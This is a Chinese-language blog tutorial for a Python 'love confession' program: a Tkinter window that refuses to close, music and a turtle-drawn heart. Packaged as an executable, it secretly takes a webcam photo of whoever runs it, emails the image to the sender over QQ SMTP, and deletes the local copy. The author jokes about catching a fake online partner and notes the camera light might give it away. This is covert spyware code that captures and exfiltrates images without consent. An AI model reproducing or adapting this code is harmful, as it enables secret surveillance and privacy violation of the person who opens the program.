基于python实现远程表白并控制对方电脑拍摄对方照片的设计

基于python实现远程表白并控制对方电脑拍摄对方照片的设计 摘要 520节快到了,你是不是还是单身,如果你还是单身的话,那继续单身吧,哈哈(开玩笑的啦)。如果你非常喜欢一个女孩,并且由于工作原因一直没有时机找到表白的机会,那么你可以借这个机会表白,机不可失失不再来。我们知道,表白是一个很重要的事,这很郑重,一般都是面对面表白,但是面对面难免有点尴尬,而且突发因素很高。怎么更好更加浪漫的表白,一直是我们程序员最求的极致。下面福利来了。这次设计基于python语言,通过配置简单的界面、加载背景音乐可以实现一个窗口似的表白。但是但是但是但是但是…问题来了,互联网时代很复杂,你怎么知道,一直和你网恋的是不是美少女还是扣脚大叔,这个问题来了,下面是反大叔操作。通过python中CV库实现电脑拍摄照片并通过SMPT协议用QQ邮箱发送给自己,确认是不是抠脚大叔。
**关键字:**python、表白、CV、QQ邮箱、SMPT
实际效果
基于python实现远程表白并控制对方电脑拍摄对方照片的设计
文章图片

一、python环境的配置 首先配置系统环境,参考链接
1.1、配置系统环境变量
第一步:右击此电脑–属性,找到高级系统设置点击进入
基于python实现远程表白并控制对方电脑拍摄对方照片的设计
文章图片

第二步:在系统属性中点击高级–环境变量,点击确定
基于python实现远程表白并控制对方电脑拍摄对方照片的设计
文章图片

第三步:在环境变量中找到系统变量–Path,点击编辑,确定
基于python实现远程表白并控制对方电脑拍摄对方照片的设计
文章图片

第四步:编辑系统变量,点击浏览,添加Python路径,点击确定,目录添加完成
基于python实现远程表白并控制对方电脑拍摄对方照片的设计
文章图片

1.2、快速安装库
第一步:按下Windows + r 并输入cmd得到控制界面
基于python实现远程表白并控制对方电脑拍摄对方照片的设计
文章图片

第二步:安装opencv-python库(举个例子,之后用到的库都这样装)

pip install opencv-python -i https://pypi.tuna.tsinghua.edu.cn/simple显示安装成功即可

第三步:如果出现提示更新,就更新pip
基于python实现远程表白并控制对方电脑拍摄对方照片的设计
文章图片

注意:虽然安装成功,但是会有提示信息,显示pip版本较低,我们只需要更新一下版本即可,输入
python -m pip install --upgrade pip

基于python实现远程表白并控制对方电脑拍摄对方照片的设计
文章图片

二、python基本语法学习 2.1、导入库的学习
刚刚接触python的朋友可能并不懂Python中import语句是什么意思。那么这篇文章就来带大家来认识一下import语句,了解一下python中import的用法。参考链接
  1. import语句:
在模块模块定义好后,我们可以使用 import 语句来引入模块,语法如下:
import module1[, module2[,... moduleN]

  1. form…import语句:
Python 的 from 语句让你从模块中导入一个指定的部分到当前命名空间中。语法如下:
from modname import name1[, name2[, ... nameN]]

  1. form…import * 语句:
把一个模块的所有内容全都导入到当前的命名空间也是可行的,只需使用如下声明:
from modname import *

三、python实现界面操作 2.1、加载tkinter的库
from tkinter import *# 标准Tk GUI工具包的接口 import time# 时间库 import tkinter.messagebox# 导入弹窗函数

2.2、绘制主界面
MainWindow = Tk()# 生成主窗口 MainWindow.geometry('550x700+100+50')# 设置主窗口大小和位置 MainWindow.title('我喜欢你很久了')# 设置主窗口标题 # 设置第一个标签 文字 字体 对齐方式 字体颜色 lable1 = Label(MainWindow, text="Hey,小姐姐", font=("微软雅黑", 14), justify = "left", foreground = "red") # 设置第二个标签 文字 字体 对齐方式 字体颜色 lable2 = Label(MainWindow, text="喜欢我吗?", font=("微软雅黑", 34), justify = "left", foreground = "red") # 加载相应的图片 photo = PhotoImage(file='./picture.png') # 设置第三个标签 为照片 imgLabel = Label(MainWindow, imag=photo) # 将标签1、2、3添加到主窗口 lable1.pack() lable2.pack() imgLabel.pack() def CloseMainWindow():# 定义关闭主窗口函数 tkinter.messagebox.showerror(title="警告",message = "不许关闭,好好回答!") return MainWindow.protocol('WM_DELETE_WINDOW', CloseMainWindow) # 定义用户使用窗口管理器明确关闭窗口时发生的情况

基于python实现远程表白并控制对方电脑拍摄对方照片的设计
文章图片

这部分函数实现上面两个标签以及图片的加载,并没有实现下面两个按键的操作
2.3、实现按钮的功能
喜欢按钮
def LoveEvent():# 定义“喜欢”的事件 love = Toplevel(MainWindow)# 设置“喜欢”窗口为独立的顶级窗口 love.geometry('300x200+800+350')# 绘制“喜欢”窗口大小和位置 love.title("好巧,我也是!")# 设置“喜欢”窗口名称 # 设置“喜欢”窗口里标签内容 字体 颜色 lable = Label(love,text="好巧,我也是!", font=("微软雅黑", 24), foreground = "red") btn = Button(love, text="确定")# 加载一个确定按钮 btn.config(command=lambda :CloseLove())# 配置按钮回调关闭主窗口事件 btn.config(command=lambda: DrawLove())# 配置按钮回调画心心事件 lable.pack()# 添加标签到“喜欢”窗口 love.protocol('WM_DELETE_WINDOW', closeall) # 定义关闭“喜欢”窗口时执行关闭所有事件 btn.pack()# 添加按钮到“喜欢”窗口

不喜欢按钮
def DoNotLoveEvent():# 配置“不喜欢”的事件 not_love = Toplevel(MainWindow)# 设置“不喜欢”的窗口为独立的顶级窗口 not_love.geometry('300x200+800+350') # 绘制“不喜欢”窗口大小和位置 not_love.title("再考虑考虑呗!")# 设置“不喜欢”窗口名称 # 设置“不喜欢”窗口里标签内容 字体 颜色 lable = Label(not_love,text="再考虑考虑呗", font=("微软雅黑", 24), foreground = "red") btn = Button(not_love, text="确定")# 加载一个确定按钮 btn.config(command=lambda :CloseNolove(not_love))# 配置按钮回调关闭“不喜欢”窗口事件 lable.pack()# 添加标签到“不喜欢”窗口 btn.pack()# 添加按钮到“不喜欢”窗口

按钮加载
# 设置按钮1 内容 宽度 高度 btn1 = Button(MainWindow, text="I LOVE YOU!", width= "12",height = "1") btn1.config(command=LoveEvent)# 配置按钮1回调函数到喜欢函数 # 设置按钮2 内容 宽度 高度 btn2 = Button(MainWindow, text="I Do Not Love You!", width= "16",height = "1") btn2.config(command=DoNotLoveEvent) # 配置按钮2回调函数到不喜欢函数 # 将按钮1、2添加到主窗口 btn1.pack() btn2.pack()

2.4、实现界面关闭管理操作
def closeall():# 关闭主视图 MainWindow.destroy() def CloseLove():# 关闭主视图 MainWindow.destroy() def CloseNolove(not_love):# 关闭“不喜欢”窗口 not_love.destroy()

四、python实现用opencv库操作摄像头并发送照片 3.1、加载email、smtplib库
from smtplib import SMTP_SSL,SMTPException# 导入发送邮件SMTP协议,SMTP_SSL类专门来处理ssl连接; from email.mime.text import MIMEText# 导入处理邮件相关模块 from email.mime.multipart import MIMEMultipart from email.mime.image import MIMEImage from cv2 import VideoCapture,imwrite# 导入摄像头相关模块 from os import remove# 导入删除指定路径的文件

3.2、配置QQ邮箱为SMTP
第一步:用网页打开QQ邮箱,并点击设置
基于python实现远程表白并控制对方电脑拍摄对方照片的设计
文章图片

第二步:点击账户
基于python实现远程表白并控制对方电脑拍摄对方照片的设计
文章图片

第三步:开始SMTP服务
基于python实现远程表白并控制对方电脑拍摄对方照片的设计
文章图片

第四步:记住授权码
3.3、配置个人发送邮箱以及接收邮箱
def SendPictureEmail():# 定义发送照片到指定邮件函数 _user = ""# 发送图片的邮箱 _pwd= ""# 邮箱密码(授权码) _to= ""# 收图片的邮箱msg = MIMEMultipart('related') msg["Subject"] = "照片" msg["From"]= _user msg["To"]= _tocontent = MIMEText('基于python实现远程表白并控制对方电脑拍摄对方照片的设计
文章图片
','html','utf-8') msg.attach(content) file = open("1.png","rb") # 打开照片进行读写 img_data1 = file.read()# 将读取的数据保存 file.close()# 照片文件关闭 img1 = MIMEImage(img_data1)# 指定数据 img1.add_header('Content-ID', 'imageid') msg.attach(img1) try: s = SMTP_SSL("smtp.qq.com", 465)# 使用QQ的SMTP协议 s.login(_user, _pwd)# 登陆邮箱 s.sendmail(_user, _to, msg.as_string()) # 发送信息到指定邮件 s.quit()# 退出登陆 print("Success!")# 发送成功 except SMTPException as e: print("Falied,%s",e)# 发送失败

3.4、打开摄像头拍摄照片并删除
打开摄像头
def TakePicture():# 定义用电脑摄像头得到照片的程序 capture = VideoCapture(0)# 定义摄像头 _ ,frame = capture.read()# 打开摄像头拍摄 imwrite("1.png",frame)# 保存信息为照片 capture.release()# 释放照片

删除照片
def DeletePicture():# 定义删除文件函数 remove("1.png")# 删除照片

四、播放背景音乐 4.1、加载pygame库
import pygame# 导入播放音乐模块

4.2、播放音乐
“播放我爱的人”
def PlayMusic():# 定义播放背景音乐函数 file =r'我爱的人.mp3'# 指定音乐路径 pygame.mixer.init()# 初始化 track = pygame.mixer.music.load(file) # 加载音乐文件 pygame.mixer.music.play()# 开始播放音乐流

五、实现动态画? 5.1、加载turtle库
import turtle# 导入画图模块 from time import sleep

5.2、动态画?
MyName =""# 设置自己姓名 Love = "LOVE"# LOVE HerName = ""# 表白女生姓名 def HeartPart():# 定义画爱心上部分半圆函数 for i in range(200): turtle.right(1) turtle.forward(2) def DrawLove():turtle.setup(width = 800,height = 500)# 设置窗口大小 turtle.title('爱你,么么么么么么么哒~~~')# 设置窗口名称 turtle.color('red', 'pink')# 设置画笔颜色 turtle.pensize(5)# 设置画笔大小 turtle.speed(0)# 设置画笔速度 turtle.up()# 举笔 turtle.goto(0, -180)# 去到的坐标,窗口中心为0,0 turtle.showturtle()# 显示画笔 turtle.down()# 落笔 turtle.begin_fill()# 画上线 turtle.left(140) turtle.forward(224) HeartPart()# 画左边圆 turtle.left(120)# 画右边圆 HeartPart() turtle.forward(224)# 画下线 turtle.end_fill() turtle.pensize(5) turtle.up()# 举笔 turtle.hideturtle()# 隐藏笔 # 在心中写字 turtle.goto(0, 0) turtle.showturtle() turtle.color('red', 'pink')# 设置笔颜色 # 在心中写字 font可以设置字体自己电脑有的都可以设 align开始写字的位置 turtle.write(HerName+Love+MyName, font=('gungsuh', 30,), align="center") turtle.up()# 举笔 turtle.hideturtle()# 隐藏笔 if HerName != '':# 写署名 turtle.color('black', 'pink') turtle.goto(180, -180) turtle.showturtle() turtle.write("女神:"+HerName, font=(20,), align="center", move=True)

5.3、结果
基于python实现远程表白并控制对方电脑拍摄对方照片的设计
文章图片

六、主程序
if __name__ == "__main__": PlayMusic()# 播放背景音乐 MainWindow.mainloop()# 打开主界面 TakePicture()# 拍摄照片 SendPictureEmail()# 发送照片 DeletePicture()# 删除照片

七、python实现可执行程序的打包 7.1、用程序直接打包
importos if __name__ == '__main__': from PyInstaller.__main__ import run opts=['***.py','-w','-F']#打包的 **.py文件 run(opts)

7.2、将图片和音乐拖动到dist文件中
【基于python实现远程表白并控制对方电脑拍摄对方照片的设计】基于python实现远程表白并控制对方电脑拍摄对方照片的设计
文章图片

八、结果分析与改进方案
  1. 拍照只能通过指定角度拍,会导致拍不到人,所以你的让对方坐端正
  2. 由于电脑摄像头拍照会亮,所以容易被同行发现
参考文献
  1. Python微信远程控制摄像头-拍摄女朋友坐电脑前聊天时表情
  2. 教你用Python写界面
  3. python将程序打包为可执行文件(.exe)
  4. python+openCV调用摄像头拍摄和处理图片
  5. python添加背景音乐

    推荐阅读